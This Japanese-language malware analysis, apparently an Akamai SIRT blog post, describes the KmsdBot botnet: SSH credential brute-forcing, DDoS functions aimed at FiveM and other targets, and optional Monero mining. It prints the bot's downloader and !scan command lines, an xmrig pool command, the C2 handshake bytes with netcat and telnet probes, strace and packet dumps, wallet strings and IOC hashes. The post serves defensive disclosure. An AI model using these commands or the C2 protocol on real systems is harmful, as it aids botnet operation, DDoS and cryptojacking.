KmsdBot:攻撃とマイニングのマルウェア
エグゼクティブサマリー
Akamai Security Intelligence Group は、当社のハニーポットに感染した新たなマルウェアを観察してきました。私たちはこのマルウェアを KmsdBot と呼んでいます。
ボットネット は、脆弱なログイン認証情報を使用する SSH 接続を介してシステムに感染します。
リバースエンジニアリングが難しいため攻撃者によく利用されている言語、Golang で書かれています。
このマルウェアは、TCP で通信するコマンド & コントロールインフラ(C2)とともに UDP、TCP、HTTP POST および GET を使用して攻撃します。
検知を回避する手段として、このマルウェアは感染システムに持続的にとどまらないようになっています。
このマルウェアの標的は、ゲーム業界、テクノロジー業界、高級車メーカーなど、多岐にわたります。
このボットネットには、暗号資産(仮想通貨)をマイニングする機能もあります。
このマルウェアは、Winx86、Arm64、mips64、x86_64 など、複数のアーキテクチャに対応しています。
日々新たなマルウェアを観察
Akamai Security Intelligence Response Team(SIRT)は、Akamai、Akamai のお客様、そしてインターネット全体のセキュリティと安定性を守るために、新たな発見を追跡、検知、文書化、公開することを任務としています。この使命の一環として、私たちはインターネット上に無数のハニーポットを拡散しています。SIRT のメンバーがこれらのハニーポットを観察し分析することで、多種多様な事象が明らかになり、実際に何が起こっているのか把握できるのです。
ホリデーシーズンに入ることもあり、何かほかに発見できることはないか確認するために、今週、私たちは新しいハニーポットの構成を試し始めました。今までこの時期には悪性のアクティビティが増える傾向が見られたので、テストと修正の初期段階では、新しいハニーポットをよりオープンでアクセスしやすい状態にしておきました。これ以上のテスト方法はあるでしょうか?
案の定、興味深いログエントリが見つかりました。ゲーム業界に特化した分散型サービス妨害 (DDoS)機能 を持つクリプトマイナーです。このタイプのボットネット、特に Golang で書かれたものは、積極的に攻撃したり拡散したりすることはめったにありません。標的はゲーム会社から高級車ブランド、セキュリティ企業まで多岐にわたります。つまり、このマルウェアは標的に関してほぼ不規則なのです。
この投稿では、皆様のさらなる調査やそれぞれの組織のセキュリティ強化にお役立ていただけるよう、KmsdBot が当社のメカニズムに遭遇した際の話をおおまかにお伝えします。
常にログを確認
ハニーポットをかなりオープンにしていたので、多数のヒットが生じると予想していました。結局、良いハニーポットは攻撃者にとって魅力的なのです。マルウェアをダウンロードするコマンドがいくつかあったので調査を開始しました。レビューの結果、図 1 のようなエントリがかなりたくさん見つかりました。
図 1:マルウェア感染のダウンロードおよび実行コマンドのログエントリ
私たちは File Transfer Protocol(ファイル転送プロトコル、FTP)を使用してシステムにログインし、ダウンロード可能なすべてのファイルにアクセスできるようにしました。これにより、マルウェア自体や、その背後にいる潜在的攻撃者の動機について、かなり多くの情報を得ることができます。
図 2:サポートされている多様な CPU アーキテクチャ
図 2 は、FTP ダウンロードサーバーのディレクトリ構造を示しています。システムアーキテクチャのディレクトリを見ると、コンパイルされたバイナリが含まれているものもあれば、空のものもあります。ただし、空のディレクトリは、マルウェア作成者が次に標的にする可能性のある場所を示しています。download.php スクリプトには、そのスクリプトを実行している Web サーバーでマルウェアをダウンロードして実行する感染コードが含まれています。
図 3:download.php スクリプトには、そのスクリプトを実行している Web サーバーでマルウェアをダウンロードして実行する感染コードが含まれています
さらに分析を進めると、さまざまなアーキテクチャ用のクロスコンパイルされたバイナリがかなりありそうでした(図 3)。空のディレクトリもありますが、一部のアーキテクチャ(x86_64 や 386 など)にはダウンロードするマルウェアサンプルが含まれています。これは、この投稿で後ほど、標的を確認する際に重要となるので覚えておいてください。
図 4:サイズが似ているバイナリは、同じマルウェアコードベースのリビジョンであると考えられます
ファイルはすべてコンパイル済みの Go 言語バイナリです。
client: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, Go BuildID=ob_PyXeD8H4173aDP-NM/Z7DzwyNXZ8c1Wr7LyTOK/t8bg8nky3tdpKdKSAvyp/_nWexL6rk1sZt5hRLfgs, with debug_info, not stripped
ksmdm: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=lmjZVXbGVxjEutEAYziK/ak2EoKWzPPmCz2ipOltK/uKypKwO7m2jjT2AT0qnG/PiKIqd334XYNEl_likc3, with debug_info, not stripped
ksmds: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=CV7cqV3r6hVM05Ma2jpB/kc_FWOhPv8HtKZQUhiUi/jrGTR9lhjVWxp-9kHdDA/ev1S8rMmqqwjpvWz4sLX, with debug_info, not stripped
ksmdx: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=S65yXt0R7hEC1YEm5Ci7/qGG-jP6bpvA1TCgQwZoV/WpM491XNek0FReOrQmX_/EMNmhh6mJI8ycZhLPtP4, with debug_info, not stripped
kxmd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=57pm413aVTQ8gOrUjHox/DwlgdSzYxLxitlBpe0OR/hdbtJaHv8ujFruku5AIJ/RrSUbVKsJ9wj-rBopzh3, with debug_info, not stripped
kzmd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=2FTLNIjq7bgMnSOW0NhD/YBc64Ubft703RycI5yQL/85YkVXL_eseyGJG3XHm1/M_laLRa5tNb5oeZ24ROq, with debug_info, not stripped
分析
クライアントバイナリと ksmdm バイナリの redress ソース出力の差異から、これらは同一のものでありながらコードがわずかに異なっている可能性が高いことがわかりました。redress はオープンソースの Go 言語リバースエンジニアリングユーティリティであり、Go バイナリの構造を再構築することで、リバースエンジニアリングに役立ちます。redress が重要なツールであるのは、悪意のある試みを行うために攻撃者が Golang を使用するケースが増えているからです。この言語はリバースエンジニアリングが難しいからだと思われます。
同じマルウェアなのに異なる... すべてが?
Go パッケージ名、/root/client は、ほとんどのバイナリに共通しています。これは、同じマルウェアであるものの、新しい機能が含まれた別のリビジョンであることを示唆しています。マルウェアは頻繁に更新されますが、このマルウェアはその方向性がさまざまである点がユニークです。C2 と対話し、更新し、マイニングプロセスの開始や停止を行うクライアントバイナリが存在すると考えられます。そして別のバイナリがマイニングオペレーションや攻撃オペレーションを実行しているようです。
$ diff client.source ksmdm.source
19,23c19,23
< start Lines: 12 to 28 (16)
< startfunc1 Lines: 19 to 30 (11)
< startfunc2 Lines: 22 to 22 (0)
< udpclimb Lines: 30 to 60 (30)
< tcpclimb Lines: 60 to 88 (28)
---
> start Lines: 10 to 26 (16)
> startfunc1 Lines: 17 to 28 (11)
> startfunc2 Lines: 20 to 20 (0)
> udpclimb Lines: 28 to 58 (30)
> tcpclimb Lines: 58 to 86 (28)
このマルウェアの標的として最初に把握されたのは、ゲーム会社 FiveMで、Grand Theft Auto Online 用のカスタムプライベートサーバーをホストできるようにするクライアントでした。図 4 に示されているとおり、UDP ソケットがオープンされ、FiveM セッショントークンでパケットが構築されています。これにより、サーバーはユーザーが新しいセッションを開始していると認識し、ネットワーク帯域外のリソースを無駄に消費します。このマルウェアには、特定の標的型攻撃だけでなく、一般的なレイヤー 4 およびレイヤー 7 攻撃も含まれています。
図 5:sym.main.udpfivemtoken 関数の逆アセンブル。FiveM トークンデータを含む UDP パケットが作成されています
スキャンと拡散
ksmdx サンプルの調査から、スキャンとソフトウェア更新の実行機能やマイニングプロセスの制御機能が明らかになりました。
Package main: /root/client
File: client.go
(*Client)Recv Lines: 23 to 34 (11)
(*Client)Handle Lines: 34 to 52 (18)
(*Client).Handlefunc1 Lines: 35 to 35 (0)
File: command.go
NewCommand Lines: 15 to 32 (17)
(*Command)Handle Lines: 32 to 62 (30)
File: commandfunctions.go
ShellExec Lines: 11 to 23 (12)
scan Lines: 23 to 50 (27)
stopscan Lines: 50 to 69 (19)
updateminer Lines: 69 to 108 (39)
stopmine Lines: 108 to 127 (19)
updateclient Lines: 127 to 159 (32)
File: main.go
main Lines: 8 to 16 (8)
File: methods.go
start Lines: 12 to 28 (16)
startfunc1 Lines: 19 to 30 (11)
startfunc2 Lines: 22 to 22 (0)
udpclimb Lines: 30 to 60 (30)
tcpclimb Lines: 60 to 88 (28)
File: utils.go
randomwallet Lines: 73 to 79 (6)
envname Lines: 79 to 129 (50)
ksmdx バイナリは、「Brah Started:」という通知とともに HTTP POST 要求を送信することにより、システムの感染を C2 に通知するダウンローダーです。
$./ksmdx 192.168.0.14 /ksmdm 192.168.0.14 kumd kxmds
HTTP サーバーログに次のような GET 要求があります。
192.168.0.44 - - [20/Oct/2022:13:09:34 -0400] "GET /ksmdm HTTP/1.1" 200 2904330 "-" "Go-http-client/1.1"
ポート 45833 でリスナーが起動されると、次のような実行確認 POST メッセージが現れます。
このボットに !scan コマンドを送信すると、次のように、開いている SSH ポートをスキャンする際に使用するログイン認証情報のリストをダウンロードできます(図 5)。
!scan xxx.xxx.xxx.xxx xxx.xxx.xxx.xxx/win/kzmds xxx.xxx.xxx.xxx kvmd kmsd
図 6:ファイル kzmds は、ユーザー名とパスワードの組み合わせのリストです
C2 との通信
[pid 18212] connect(3, {sa_family=AF_INET, sin_port=htons(51382), sin_addr=inet_addr("xxx.xxx.xxx.xxx")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 1047] connect(4, {sa_family=AF_INET, sin_port=htons(51388), sin_addr=inet_addr("xxx.xxx.xxx.xxx")}, 16) = -1 EINPROGRESS (Operation now in progress)
ログを再度確認したところ、このマルウェアは新しい IP アドレスからハニーポットを攻撃していることがわかりました。新しい C2 IP アドレスが組み込まれた新しいバイナリをアップロードしていました。
ネットワークトラフィックを監視すると、この接続は、感染したシステムによって 0x00 というヌルバイトで初期化され、C2 から 0x01 の応答が送信されます。感染したシステムは、16 進数の 0x02 で 2 を応答します。
[pid 2514865] write(4, "0x02", 4) = 4
And 0x01 is the response
xxx.xxx.xxx.xxx.51388 > xxx.xxx.xxx.xxx.52280: Flags [P.], cksum 0xf2b4 (correct), seq 20:24, ack 21, win 510, options [nop,nop,TS val 1019359456 ecr 4067014838], length 4
0x0000: 4500 0038 adf3 4000 3a06 9b4a ab16 1e1f E..8..@.:..J....
0x0010: c63a 6812 c8bc cc38 81f9 f90a abeb 552a .:h....8......U*
0x0020: 8018 01fe f2b4 0000 0101 080a 3cc2 30e0 ............<.0.
0x0030: f269 b8b6 3078 3031 .i..0x01
netcat ユーティリティを使用すると、これをすばやくテストできます。
$ echo "0x00" | nc xxx.xxx.xxx.xxx 51388
0x01
[pid 2516369] write(4, "0x00", 4) = 4
It looks like 0x02 is the heartbeat
xxx.xxx.xxx.xxx.52280 > xxx.xxx.xxx.xxx.51388: Flags [P.], cksum 0xf7ac (incorrect -> 0xd616), seq 57:61, ack 57, win 502, options [nop,nop,TS val 4066922833 ecr 1019262337], length 4
0x0000: 4500 0038 3010 4000 4006 132e c63a 6812 E..80.@.@....:h.
0x0010: ab16 1e1f cc38 c8bc abeb 54de 81f9 f8c2 .....8....T.....
0x0020: 8018 01f6 f7ac 0000 0101 080a f268 5151 .............hQQ
0x0030: 3cc0 b581 3078 3032 <...0x02
C2 との対話
下の緑でハイライトされたテキストは C2 からの応答です。青でハイライトされたテキストは、0x02 の応答を送信することにより、マルウェアをエミュレートした場所です。
% telnet xxx.xxx.xxx.xxx 57388
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
0x00
0x010x02
0x010x02
0x010x02
0x010x02
0x010x02
0x01
クリプトマイニング
以下に示されているのは、sym.main.randomwallet() 関数から取得される暗号通貨ウォレットのユーザーアカウントです。これらが無作為に選択され、さまざまなマイニングプール使われていると考えられます。私がこのボットネットを観察している期間には、クリプトマイニングのアクティビティは見られず、このボットネットが関与していたのは DDoS アクティビティのみでした。しかし、このボットにはクリプトマイニングを開始する機能があります。私が見つけたのは ./ksmdr -o pool.hashvault.pro コマンドですが、ksmdr は実際には xmrig バイナリが名前変更されたものです。
│ │╎ 0x0065b6b0 488d05356c08. lea rax, [0x006e22ec] ; "42WDUXX5UYtNf9DyboNRx6TgNrJD43QfgTvEjh8djtdKVoNppnN96Nz8sVp2wWJTQgW9e8XjFLkv6KpSEgwWbLXLMKn5wwg42vGrE1WDpKgue8Y9ewpi6gXupMqDqYi"
│ │╎ 0x0065b6b7 4889442428 mov qword [var_28h], rax
│ │╎ 0x0065b6bc 48c74424305f. mov qword [var_30h], 0x5f ; '_'
│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6c5 488d053d6d08. lea rax, [0x006e2409] ; "46DBehyheMSatgdGffv8SVAEK8ts6Ur4wToVNL99Yqo6ZGnv7q4QpaxG7YnaasngPvN1rbyxYyCZAABgyXyme92wRMaVn1V3617de4a96262c6f5d9e98bf9292dc29"
│ │╎ 0x0065b6cc 4889442438 mov qword [var_38h], rax
│ │╎ 0x0065b6d1 48c74424405f. mov qword [var_40h], 0x5f ; '_'
│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6da 488d05c96c08. lea rax, [0x006e23aa] ; "45yK4gR5QCNag2X4g6ss6PUiL4s1e929b8mev4Rz3CbiTPU9NSXYHiyPL9FMi6cDVvD7EKho4atUf82s3vkVfFXNSsMqyUE46DBehyheMSatgdGffv8SVAEK8ts6Ur4"
│ │╎ 0x0065b6e1 4889442448 mov qword [var_48h], rax
│ │╎ 0x0065b6e6 48c74424505f. mov qword [var_50h], 0x5f ; '_'
│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6ef 488d05556c08. lea rax, [0x006e234b] ; "42vGrE1WDpKgue8Y9ewpi6gXupMqDqYiKV4EwM7CFZFuNdRKP3dG6rADE7DRAcoEWGY6LmgCRKAiX16wGAu3Tj4mMQ9HR5B45yK4gR5QCNag2X4g6ss6PUiL4s1e929"
ソース構造を調べると、一部のバイナリは同じコードベースの異なる更新バージョンであることがわかりました。つまり、このボットネットは積極的に開発が進められている最中であると考えられます。
$ diff reports/kxmd/kxmd-src.txt reports/75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51/75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51-src.txt
8c8
< (*Command)Handle Lines: 32 to 136 (104)
---
> (*Command)Handle Lines: 32 to 144 (112)
11,18c11,20
< scan Lines: 23 to 50 (27)
< stopscan Lines: 50 to 69 (19)
< updateminer Lines: 69 to 108 (39)
< stopmine Lines: 108 to 127 (19)
< updateclient Lines: 127 to 161 (34)
< loadclient Lines: 161 to 180 (19)
< startminer Lines: 180 to 193 (13)
< reloadminer Lines: 193 to 208 (15)
---
> scan Lines: 23 to 52 (29)
> startscan Lines: 52 to 75 (23)
> stopscan Lines: 75 to 97 (22)
> updateminer Lines: 97 to 144 (47)
> stopmine Lines: 144 to 166 (22)
> updateclient Lines: 166 to 202 (36)
> loadclient Lines: 202 to 221 (19)
> removefile Lines: 221 to 235 (14)
> startminer Lines: 235 to 248 (13)
> reloadminer Lines: 248 to 264 (16)
54,60c56,62
< getrandpath Lines: 12 to 62 (50)
< get Lines: 62 to 109 (47)
< fivem Lines: 109 to 156 (47)
< fivemguid Lines: 156 to 204 (48)
< post1 Lines: 204 to 255 (51)
< post Lines: 255 to 344 (89)
< bigdata Lines: 344 to 386 (42)
---
> getrandpath Lines: 11 to 61 (50)
> get Lines: 61 to 108 (47)
> fivem Lines: 108 to 158 (50)
> fivemguid Lines: 158 to 206 (48)
> post1 Lines: 206 to 257 (51)
> post Lines: 257 to 346 (89)
> bigdata Lines: 346 to 388 (42)
攻撃トラフィックの分析
私が観察した攻撃は、ペイロードにランダムデータが含まれたレイヤー 4 TCP/UDP パケットか、または攻撃コマンドで設定されたルートパスまたは指定のパスへの GET および POST 要求で構成されたレイヤー 7 HTTP のどちらかでした(図 6)。
図 7:攻撃の POST 要求
下記のスクリーンショットは、ヘッダーが欠落したランダムなリファラーが含まれたリクエストヘッダーを示しています。プライバシー保護のために、画像の一部をサニタイズ(無害化)してあります。
図 8 では、コマンド !post は、標的に対する攻撃を命令する C2 から着信しています。
図 8:C2 からの攻撃コマンド
C2 は sym.main.connect() 関数で定義されています。これは、図 8、9、10 に示されています。
図 9:C2 通信関数の逆アセンブル
図 10:0x02 応答コードの逆アセンブル
図 11:TCP ビッグデータ攻撃パケット
IOC
SHA256
701b874a56a9a0ed4101a88621441afec936c4210e18d9a3e20f9a95c454ce40 client
8d1df3c5357adbab988c62682c85b51582649ff8a3b5c21fca3780fe220e5b11 ksmdm
e83a61c538f11e4fc9dd9d0f414a9e74d0d585ffe3302e4d3741be6a3523bd1e ksmds
714eeba5b6e4610946cd07c1ddadddc94052bfe450a8a9b1c23495721082884d ksmdx
8775bdd7a33f136d31b2840dab68505ac0ab8eaa0bcb58713fae36552b8a1f95 kxmds
b927e0fe58219305d86df8b3e44493a7c854a6ea4f76d1ebe531a7bfd4365b54 kxmd
75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51 kzmd
09761d69bd5b00b2e767a1105dd3e80ce17b795cd817676c737a1e83c5b96f1b kumd.exe
8d1df3c5357adbab988c62682c85b51582649ff8a3b5c21fca3780fe220e5b11 ksmdm
3928c5874249cc71b2d88e5c0c00989ac394238747bb7638897fc210531b4aab ksmdr(xmrig)
e83a61c538f11e4fc9dd9d0f414a9e74d0d585ffe3302e4d3741be6a3523bd1e ksmds
01b4d10e08d10c36d0c50f00d017fd6b3da8ebdd194ecafd12b0335c07f9ae10 ksmdx
74075b2bdfaf52d9e5984a28ec7765ae489077a69dd696718e724a455a6f7910 kumd
b927e0fe58219305d86df8b3e44493a7c854a6ea4f76d1ebe531a7bfd4365b54 kxmd
8775bdd7a33f136d31b2840dab68505ac0ab8eaa0bcb58713fae36552b8a1f95 kxmds
7fe04a3307666e6b6dac381664c901daea3ed5e8af3d7700ac5bde9550350d5a kmsd.amd64
2e091ecc4c912e6fbe4258da470459018dc8f3efde2803281a416a2c8eb8cf1a kmsd.arm
7c8a06b85280a43f96215203fb229d0f2a91b23d84e6ab2d25d9382fef19c35b kmsd.arm64
da609100cb66e6e4e79916ca1e7481269406e6a484f46187b3accb1626552d61 kmsd.mips
8136613eb3427f908a200f52b7938cc184a31b626b6c85a35e664c064de6d533 kmsd.mips64
50f2fb45c11e40ea4bbf4a8a733b6e65ce25c3f182aa0aa33ffb59ebae712003 kmsd.mipsle
e5a06b250ba10fe0156efe7399b321cb8b1fc8b1929e49ee62d837fa1440313f kmsd.ppc64
2971a37849388c7c3af0840eabc52f0b604fb9894429b7397100b12a069cfeff kmsd.ppc64le
247b0d5e40b8b1ec316e9700b499a2dc20d73bfd7f36d913e7725334a2818a7e kmsd.riscv64
7517e597a6ba4a8659b2dd4252085a99baca000684435f8b451af1418bfcac84 kmsd.s390x
結論
このボットネットは、セキュリティの複雑さとその進化状況を示す格好の例と言えます。当初はゲームアプリ用のボットであったと思われますが、大手高級ブランドの攻撃へと方向転換しました。新しくなったのは感染方法です。脆弱なログイン資格情報を使用する SSH 接続が使われています。幸いなことに、ほとんどの組織のシステムやネットワークのセキュリティを確保するために推奨されている手法がここでも有効です。
サーバーや展開されたアプリケーションに、脆弱な認証情報やデフォルトの認証情報は使用しないでください。
展開されたアプリケーションには、必ず最新のセキュリティパッチを適用して常に最新の状態に保ち、随時確認してください。
SSH 接続には公開鍵認証を使用します。これは、この種のシステム侵害を防ぐ最善の方法です。
Akamai SIRT は、このアクティビティを引き続き監視し、利用可能になりしだい更新を公開します。
リアルタイムの調査や最新情報をご入手いただけるよう、X(旧 Twitter)でフォローしてください。